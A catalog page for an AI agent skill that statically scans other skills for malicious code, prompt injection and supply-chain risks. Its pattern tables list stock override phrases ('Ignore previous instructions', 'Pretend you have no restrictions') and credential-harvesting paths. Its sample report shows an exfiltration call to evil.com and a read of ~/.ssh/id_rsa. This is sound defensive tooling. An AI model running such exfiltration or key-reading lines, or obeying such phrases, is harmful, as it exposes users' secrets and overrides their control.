SK

skill-security-auditor

Security scanner for validating AI agent skills and code repositories.

Install

mkdir -p .claude/skills/skill-security-auditor && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/4054" && unzip -o skill.zip -d .claude/skills/skill-security-auditor && rm skill.zip

Installs to .claude/skills/skill-security-auditor

Activation

This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.

Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".
722 chars✓ has a “when” triggerlonger than Claude Code's old 250-char listing cap (fine on current versions)
Advanced

Key capabilities

  • Scan Python and shell scripts for command injection patterns
  • Detect prompt injection in markdown documentation
  • Identify dependency supply chain risks
  • Verify file system access boundaries
  • Generate pass/warn/fail security reports

How it works

The auditor performs static analysis on source files and documentation to identify dangerous patterns, insecure dependencies, and potential security bypasses.

Inputs & outputs

You give it
Path to skill directory or git repository URL
You get back
Security audit report with severity-grouped findings

When to use skill-security-auditor

  • Scan a new skill repository for malicious code
  • Audit dependencies before installing a tool
  • Check for risky file system access patterns

About this skill

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

CategoryPatterns DetectedSeverity
Command injectionos.system(), os.popen(), subprocess.call(shell=True), backtick execution🔴 CRITICAL
Code executioneval(), exec(), compile(), __import__()🔴 CRITICAL
Obfuscationbase64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains🔴 CRITICAL
Network exfiltrationrequests.post(), urllib.request, socket.connect(), httpx, aiohttp🔴 CRITICAL
Credential harvestingreads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns🔴 CRITICAL
File system abusewrites outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation🟡 HIGH
Privilege escalationsudo, chmod 777, setuid, cron manipulation🔴 CRITICAL
Unsafe deserializationpickle.loads(), yaml.load() (without SafeLoader), marshal.loads()🟡 HIGH
Subprocess (safe)subprocess.run() with list args, no shell⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."🔴 CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"🔴 CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"🔴 CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives🟡 HIGH
Excessive permissions"Run any command", "Full filesystem access"🟡 HIGH
Data extraction"Send contents of", "Upload file to", "POST to"🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with PyPI/npm advisory databases🔴 CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., reqeusts)🟡 HIGH
Unpinned versionsFlag requests>=2.0 vs requests==2.31.0⚪ INFO
Install commands in codepip install or npm install inside scripts🟡 HIGH
Suspicious packagesLow download count, recent creation, single maintainer⚪ INFO

4. File System & Structure

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory🟡 HIGH
Hidden files.env, dotfiles that shouldn't be in a skill🟡 HIGH
Binary filesUnexpected executables, .so, .dll, .exe🔴 CRITICAL
Large filesFiles >1MB that could hide payloads⚪ INFO
SymlinksSymbolic links pointing outside skill directory🔴 CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report — findings grouped by severity
  3. Verdict interpretation:
    • ✅ PASS — No critical or high findings. Safe to install.
    • ⚠️ WARN — High/medium findings detected. Review manually before installing.
    • ❌ FAIL — Critical findings. Do NOT install without remediation.
  4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

When not to use it

  • When performing dynamic code execution or runtime analysis
  • When auditing non-code assets like images or binary blobs

Prerequisites

Python 3 environment

Limitations

  • Cannot detect logic bombs or time-delayed payloads
  • Pattern-based obfuscation detection can be bypassed
  • Static analysis only; does not execute code

How it compares

This tool provides a structured security gate for AI agent skills before installation, whereas manual review is often inconsistent.

Compared to similar skills

skill-security-auditor side by side with the closest alternatives in the catalog.

SkillInstallsUpdatedSafetyDifficulty
skill-security-auditor (this skill)52moCautionAdvanced
senior-security317moReviewAdvanced
backend-security-coder244moNo flagsIntermediate
security57moNo flagsIntermediate

Try saying

Example prompts that trigger this skill in your AI assistant.

More by alirezarezvani

View all by alirezarezvani

ma-playbook

alirezarezvani

M&A strategy for acquiring companies or being acquired. Due diligence, valuation, integration, and deal structure. Use when evaluating acquisitions, preparing for acquisition, M&A due diligence, integration planning, or deal negotiation.

39122

ad-creative

alirezarezvani

When the user needs to generate, iterate, or scale ad creative for paid advertising. Use when they say 'write ad copy,' 'generate headlines,' 'create ad variations,' 'bulk creative,' 'iterate on ads,' 'ad copy validation,' 'RSA headlines,' 'Meta ad copy,' 'LinkedIn ad,' or 'creative testing.' This is pure creative production — distinct from paid-ads (campaign strategy). Use ad-creative when you need the copy, not the campaign plan.

3395

content-trend-researcher

alirezarezvani

Advanced content and topic research skill that analyzes trends across Google Analytics, Google Trends, Substack, Medium, Reddit, LinkedIn, X, blogs, podcasts, and YouTube to generate data-driven article outlines based on user intent analysis

30126

cold-email

alirezarezvani

When the user wants to write, improve, or build a sequence of B2B cold outreach emails to prospects who haven't asked to hear from them. Use when the user mentions 'cold email,' 'cold outreach,' 'prospecting emails,' 'SDR emails,' 'sales emails,' 'first touch email,' 'follow-up sequence,' or 'email prospecting.' Also use when they share an email draft that sounds too sales-y and needs to be humanized. Distinct from email-sequence (lifecycle/nurture to opted-in subscribers) — this is unsolicited outreach to new prospects. NOT for lifecycle emails, newsletters, or drip campaigns (use email-sequence).

2971

content-humanizer

alirezarezvani

Makes AI-generated content sound genuinely human — not just cleaned up, but alive. Use when content feels robotic, uses too many AI clichés, lacks personality, or reads like it was written by committee. Triggers: 'this sounds like AI', 'make it more human', 'add personality', 'it feels generic', 'sounds robotic', 'fix AI writing', 'inject our voice'. NOT for initial content creation (use content-production). NOT for SEO optimization (use content-production Mode 3).

2251

aws-solution-architect

alirezarezvani

Design AWS architectures for startups using serverless patterns and IaC templates. Use when asked to design serverless architecture, create CloudFormation templates, optimize AWS costs, set up CI/CD pipelines, or migrate to AWS. Covers Lambda, API Gateway, DynamoDB, ECS, Aurora, and cost optimization.

2047

Search skills

Search the agent skills registry